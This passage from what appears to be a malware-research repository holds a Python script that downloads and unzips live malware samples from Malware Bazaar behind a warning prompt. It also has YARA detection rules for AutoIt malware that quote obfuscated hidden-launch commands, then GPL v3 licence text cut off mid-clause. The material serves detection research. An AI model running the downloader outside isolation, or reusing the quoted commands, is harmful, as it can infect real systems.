os.makedirs(DOWNLOAD_DIR, exist_ok=True) 35 | 36 | # ASCII art and warning message 37 | WARNING_MESSAGE = r""" 38 | 39 | __________ .______________ __________ .__ 40 | \______ \___.__.___________ ______ _____| \__ ___/ \______ \ ____ ______ ____ _____ _______ ____ | |__ 41 | | | _< | |\____ \__ \ / ___// ___/ | | | | _// __ \ / ___// __ \\__ \\_ __ \_/ ___\| | \ 42 | | | \\___ || |_> > __ \_\___ \ \___ \| | | | | | \ ___/ \___ \\ ___/ / __ \| | \/\ \___| Y \ 43 | |______ // ____|| __(____ /____ >____ >___| |____| |____|_ /\___ >____ >\___ >____ /__| \___ >___| / 44 | \/ \/ |__| \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ 45 | 46 | *********************************************************************** 47 | * WARNING: This script downloads and extracts live malware samples. * 48 | * Run only in a controlled environment. * 49 | *********************************************************************** 50 | """ 51 | 52 | print(WARNING_MESSAGE) 53 | ack = input("Type 'acknowledge' to proceed: ").strip().lower() 54 | 55 | if ack != 'acknowledge': 56 | print("User did not acknowledge. Exiting script for safety.") 57 | sys.exit(1) 58 | 59 | # Function to ensure SHA-256 checksum validity 60 | def check_sha256(s): 61 | if s == "": 62 | return 63 | if len(s) != 64: 64 | raise argparse.ArgumentTypeError("Please use sha256 value instead of '" + s + "'") 65 | return str(s) 66 | 67 | # Argument parser setup 68 | parser = argparse.ArgumentParser(description='Download and manage malware samples from Malware Bazaar by abuse.ch') 69 | parser.add_argument('-n', '--number', help='Number of samples to download', metavar="N", type=int) 70 | parser.add_argument('-u', '--unzip', help='Unzip the downloaded file', required=False, action='store_true') 71 | args = parser.parse_args() 72 | 73 | # Prompt for number of samples if not provided 74 | if args.number is None: 75 | args.number = int(input("Enter the number of samples to download: ")) 76 | 77 | # Function to get recent samples by tag 78 | def get_recent_samples(tag, limit): 79 | data = { 80 | 'query': 'get_taginfo', 81 | 'tag': tag, 82 | 'limit': limit 83 | } 84 | response = requests.post(API_URL, data=data, timeout=15) 85 | response.raise_for_status() 86 | return response.json() 87 | 88 | # Function to download a sample 89 | def download_sample(sha256_hash, unzip): 90 | file_path = os.path.join(DOWNLOAD_DIR, f"{sha256_hash}.zip") 91 | if os.path.exists(file_path): 92 | print(f"File {file_path} already exists, skipping.") 93 | return 94 | 95 | data = { 96 | 'query': 'get_file', 97 | 'sha256_hash': sha256_hash 98 | } 99 | try: 100 | response = requests.post(API_URL, data=data, timeout=15, headers=HEADERS) 101 | response.raise_for_status() 102 | 103 | if 'file_not_found' in response.text: 104 | print(f"Error: file not found for SHA-256: {sha256_hash}") 105 | return 106 | 107 | with open(file_path, 'wb') as file: 108 | file.write(response.content) 109 | print(f"Sample \"{sha256_hash}\" downloaded.") 110 | 111 | if unzip: 112 | try: 113 | with pyzipper.AESZipFile(file_path) as zf: 114 | zf.pwd = ZIP_PASSWORD 115 | zf.extractall(DOWNLOAD_DIR) 116 | print(f"Sample \"{sha256_hash}\" unpacked.") 117 | os.remove(file_path) 118 | print(f"Zip file \"{file_path}\" deleted.") 119 | except (pyzipper.BadZipFile, pyzipper.LargeZipFile, EOFError) as e: 120 | print(f"Failed to unzip file {file_path}: {e}") 121 | 122 | except requests.RequestException as e: 123 | print(f"Request failed for SHA-256 {sha256_hash}: {e}") 124 | 125 | # Main script logic 126 | try: 127 | samples_data = get_recent_samples(TAG, args.number) 128 | except requests.RequestException as e: 129 | print(f"Request failed: {e}") 130 | sys.exit(1) 131 | 132 | if samples_data.get("query_status") == "ok": 133 | samples = samples_data.get("data", []) 134 | for sample in samples: 135 | sha256_hash = sample.get('sha256_hash') 136 | if sha256_hash: 137 | print(f"Fetching sample with SHA-256: {sha256_hash}") 138 | try: 139 | download_sample(sha256_hash, args.unzip) 140 | except requests.RequestException as e: 141 | print(f"Failed to download sample {sha256_hash}: {e}") 142 | else: 143 | print("No samples found or API request failed.") -------------------------------------------------------------------------------- /Detection/yara/combined_autoit.yara: -------------------------------------------------------------------------------- 1 | rule Combined_AutoIt_Detection 2 | { 3 | meta: 4 | description = "Combined rule to detect AutoIt scripts and compiled executables" 5 | author = "BypassIT Research Group" 6 | 7 | strings: 8 | // AutoIt v3.26+ strings 9 | $str1 = "This is a third-party compiled AutoIt script." 10 | $str2 = "AU3!EA06" 11 | $str3 = ">>>AUTOIT NO CMDEXECUTE<<<" wide 12 | $str4 = "AutoIt v3" wide 13 | $magic_v326 = { A3 48 4B BE 98 6C 4A A9 99 4C 53 0A 86 D6 48 7D 41 55 33 21 45 41 30 36 } 14 | 15 | // AutoIt v3.00 strings 16 | $str5 = "AU3_GetPluginDetails" 17 | $str6 = "AU3!EA05" 18 | $str7 = "OnAutoItStart" wide 19 | $str8 = "AutoIt script files (*.au3, *.a3x)" wide 20 | $magic_v300 = { A3 48 4B BE 98 6C 4A A9 99 4C 53 0A 86 D6 48 7D 41 55 33 21 45 41 30 35 } 21 | 22 | // Generic AutoIt strings 23 | $str9 = "AV researchers please email avsupport@autoitscript.com for support." 24 | $str10 = "#OnAutoItStartRegister" 25 | $str11 = "#pragma compile" 26 | $str12 = "/AutoIt3ExecuteLine" 27 | $str13 = "/AutoIt3ExecuteScript" 28 | $str14 = "/AutoIt3OutputDebug" 29 | $str15 = ">>>AUTOIT SCRIPT<<<" 30 | 31 | // Import AutoIt functions 32 | $imp1 = "#include\s+<\w+\.(au3|a3x)\>" nocase wide ascii fullword 33 | 34 | // Common AutoIt functions 35 | $func1 = "NoTrayIcon" nocase wide ascii fullword 36 | $func2 = "iniread" nocase wide ascii fullword 37 | $func3 = "fileinstall" nocase wide ascii fullword 38 | $func4 = "EndFunc" nocase wide ascii fullword 39 | $func5 = "FileRead" nocase wide ascii fullword 40 | $func6 = "DllStructSetData" nocase wide ascii fullword 41 | $func7 = "Global Const" nocase wide ascii fullword 42 | $func8 = "Run(@AutoItExe" nocase wide ascii fullword 43 | $func9 = "StringReplace" nocase wide ascii fullword 44 | $func10 = "filewrite" nocase wide ascii fullword 45 | 46 | condition: 47 | ( 48 | // Match compiled executables 49 | (uint16(0) == 0x5A4D and ( 50 | $magic_v326 or 51 | $magic_v300 or 52 | 3 of ($str1, $str2, $str3, $str4, $str5, $str6, $str7, $str8) or 53 | any of ($str9, $str10, $str11, $str12, $str13, $str14, $str15) 54 | )) 55 | ) or ( 56 | // Match scripts 57 | (uint16(0) != 0x5A4D and ( 58 | any of ($str1, $str2, $str3, $str4, $str5, $str6, $str7, $str8, $str9, $str10, $str11, $str12, $str13, $str14, $str15) or 59 | 4 of ($func1, $func2, $func3, $func4, $func5, $func6, $func7, $func8, $func9, $func10) 60 | )) 61 | ) or ( 62 | $imp1 63 | ) 64 | 65 | } -------------------------------------------------------------------------------- /Detection/yara/gen_autoit_research.yara: -------------------------------------------------------------------------------- 1 | /* 2 | YARA Rule Set 3 | Author: BypassIT Research Team 4 | Date: 2024-08-04 5 | Identifier: downloads 6 | Reference: https://github.com/CroodSolutions/BypassIT 7 | */ 8 | 9 | /* Rule Set ----------------------------------------------------------------- */ 10 | 11 | import "pe" 12 | 13 | 14 | rule sig_6115d0dc0349f7cbab3fe4b4b769b389a60aab336519d4b42952bb0f0501428f { 15 | meta: 16 | description = "downloads - file 6115d0dc0349f7cbab3fe4b4b769b389a60aab336519d4b42952bb0f0501428f.exe" 17 | author = "BypassIT Research Team" 18 | reference = "https://github.com/CroodSolutions/BypassIT" 19 | date = "2024-08-04" 20 | hash1 = "6115d0dc0349f7cbab3fe4b4b769b389a60aab336519d4b42952bb0f0501428f" 21 | strings: 22 | $x1 = "" fullword ascii /* score: '14.00'*/ 38 | $s17 = " 7-Zip - Copyright (c) 1999-2015 " fullword ascii /* score: '14.00'*/ 39 | $s18 = "SFX module - Copyright (c) 2005-2016 Oleg Scherbakov" fullword ascii /* score: '14.00'*/ 40 | $s19 = "SfxVarSystemPlatform" fullword wide /* score: '14.00'*/ 41 | $s20 = "http://ocsp.digicert.com0X" fullword ascii /* score: '14.00'*/ 42 | condition: 43 | uint16(0) == 0x5a4d and filesize < 3000KB and 44 | 1 of ($x*) and 4 of them 45 | } 46 | 47 | rule sig_6a7afd800f236e6bf6cdaa2fc93869daade49c2b5698bbb39c3d8ecc13d0fd9c { 48 | meta: 49 | description = "downloads - file 6a7afd800f236e6bf6cdaa2fc93869daade49c2b5698bbb39c3d8ecc13d0fd9c.exe" 50 | author = "BypassIT Research Team" 51 | reference = "https://github.com/CroodSolutions/BypassIT" 52 | date = "2024-08-04" 53 | hash1 = "6a7afd800f236e6bf6cdaa2fc93869daade49c2b5698bbb39c3d8ecc13d0fd9c" 54 | strings: 55 | $x1 = "" fullword ascii /* score: '14.00'*/ 69 | $s15 = " 7-Zip - Copyright (c) 1999-2015 " fullword ascii /* score: '14.00'*/ 70 | $s16 = "SFX module - Copyright (c) 2005-2016 Oleg Scherbakov" fullword ascii /* score: '14.00'*/ 71 | $s17 = "SfxVarSystemPlatform" fullword wide /* score: '14.00'*/ 72 | $s18 = "RunProgram=\"hidcon:\"" fullword ascii /* score: '13.00'*/ 73 | $s19 = "/http://crl4.digicert.com/sha2-assured-cs-g1.crl0K" fullword ascii /* score: '13.00'*/ 74 | $s20 = "3http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#" fullword ascii /* score: '13.00'*/ 75 | condition: 76 | uint16(0) == 0x5a4d and filesize < 3000KB and 77 | 1 of ($x*) and 4 of them 78 | } 79 | 80 | rule sig_2afe2fed654c4514265a3d1b0f50cef25b9fc34351887a13d770457ba018492d { 81 | meta: 82 | description = "downloads - file 2afe2fed654c4514265a3d1b0f50cef25b9fc34351887a13d770457ba018492d.exe" 83 | author = "BypassIT Research Team" 84 | reference = "https://github.com/CroodSolutions/BypassIT" 85 | date = "2024-08-04" 86 | hash1 = "2afe2fed654c4514265a3d1b0f50cef25b9fc34351887a13d770457ba018492d" 87 | strings: 88 | $x1 = "" fullword ascii /* score: '14.00'*/ 103 | $s16 = " 7-Zip - Copyright (c) 1999-2015 " fullword ascii /* score: '14.00'*/ 104 | $s17 = "SFX module - Copyright (c) 2005-2016 Oleg Scherbakov" fullword ascii /* score: '14.00'*/ 105 | $s18 = "SfxVarSystemPlatform" fullword wide /* score: '14.00'*/ 106 | $s19 = "http://ocsp.digicert.com0X" fullword ascii /* score: '14.00'*/ 107 | $s20 = "http://ocsp.digicert.com0\\" fullword ascii /* score: '14.00'*/ 108 | condition: 109 | uint16(0) == 0x5a4d and filesize < 3000KB and 110 | 1 of ($x*) and 4 of them 111 | } 112 | 113 | rule sig_43c59cd33371691282d4f781b6f5d0b280da41d71fceeecc7b7052a1db11ac79 { 114 | meta: 115 | description = "downloads - file 43c59cd33371691282d4f781b6f5d0b280da41d71fceeecc7b7052a1db11ac79.exe" 116 | author = "BypassIT Research Team" 117 | reference = "https://github.com/CroodSolutions/BypassIT" 118 | date = "2024-08-04" 119 | hash1 = "43c59cd33371691282d4f781b6f5d0b280da41d71fceeecc7b7052a1db11ac79" 120 | strings: 121 | $x1 = "" fullword ascii /* score: '14.00'*/ 135 | $s15 = " 7-Zip - Copyright (c) 1999-2016 " fullword ascii /* score: '14.00'*/ 136 | $s16 = "SfxVarCmdLine1" fullword wide /* score: '13.00'*/ 137 | $s17 = "SfxVarCmdLine0" fullword wide /* score: '13.00'*/ 138 | $s18 = "The archive is corrupted, or invalid password was entered." fullword ascii /* score: '12.00'*/ 139 | $s19 = " \"setup.exe\" " fullword ascii /* score: '11.00'*/ 140 | $s20 = "*.sfx.config.*" fullword ascii /* score: '10.00'*/ 141 | condition: 142 | uint16(0) == 0x5a4d and filesize < 3000KB and 143 | 1 of ($x*) and 4 of them 144 | } 145 | 146 | rule sig_7a3506f60a337bd104291e6f01bf18cbf3dad4058e9e79d7861fc2a1c11258c2 { 147 | meta: 148 | description = "downloads - file 7a3506f60a337bd104291e6f01bf18cbf3dad4058e9e79d7861fc2a1c11258c2.exe" 149 | author = "BypassIT Research Team" 150 | reference = "https://github.com/CroodSolutions/BypassIT" 151 | date = "2024-08-04" 152 | hash1 = "7a3506f60a337bd104291e6f01bf18cbf3dad4058e9e79d7861fc2a1c11258c2" 153 | strings: 154 | $x1 = "" fullword ascii /* score: '14.00'*/ 165 | $s12 = " 7-Zip - Copyright (c) 1999-2016 " fullword ascii /* score: '14.00'*/ 166 | $s13 = "RunProgram=\"hidcon:c%Bahrain%%Cf%%Care%%Ralph%k%Care%%Bahrain%ove%Care%Quantity%Care%Quantity.bat%Care%&%Care%Quantity.bat%Care" ascii /* score: '14.00'*/ 167 | $s14 = "RunProgram=\"hidcon:c%Bahrain%%Cf%%Care%%Ralph%k%Care%%Bahrain%ove%Care%Quantity%Care%Quantity.bat%Care%&%Care%Quantity.bat%Care" ascii /* score: '14.00'*/ 168 | $s15 = "SfxVarCmdLine1" fullword wide /* score: '13.00'*/ 169 | $s16 = "SfxVarCmdLine0" fullword wide /* score: '13.00'*/ 170 | $s17 = "The archive is corrupted, or invalid password was entered." fullword ascii /* score: '12.00'*/ 171 | $s18 = " \"setup.exe\" " fullword ascii /* score: '11.00'*/ 172 | $s19 = "*.sfx.config.*" fullword ascii /* score: '10.00'*/ 173 | $s20 = ";Analyst Barcelona Kingston Replaced Pass Pass Awareness Robin " fullword ascii /* score: '10.00'*/ 174 | condition: 175 | uint16(0) == 0x5a4d and filesize < 3000KB and 176 | 1 of ($x*) and 4 of them 177 | } 178 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had 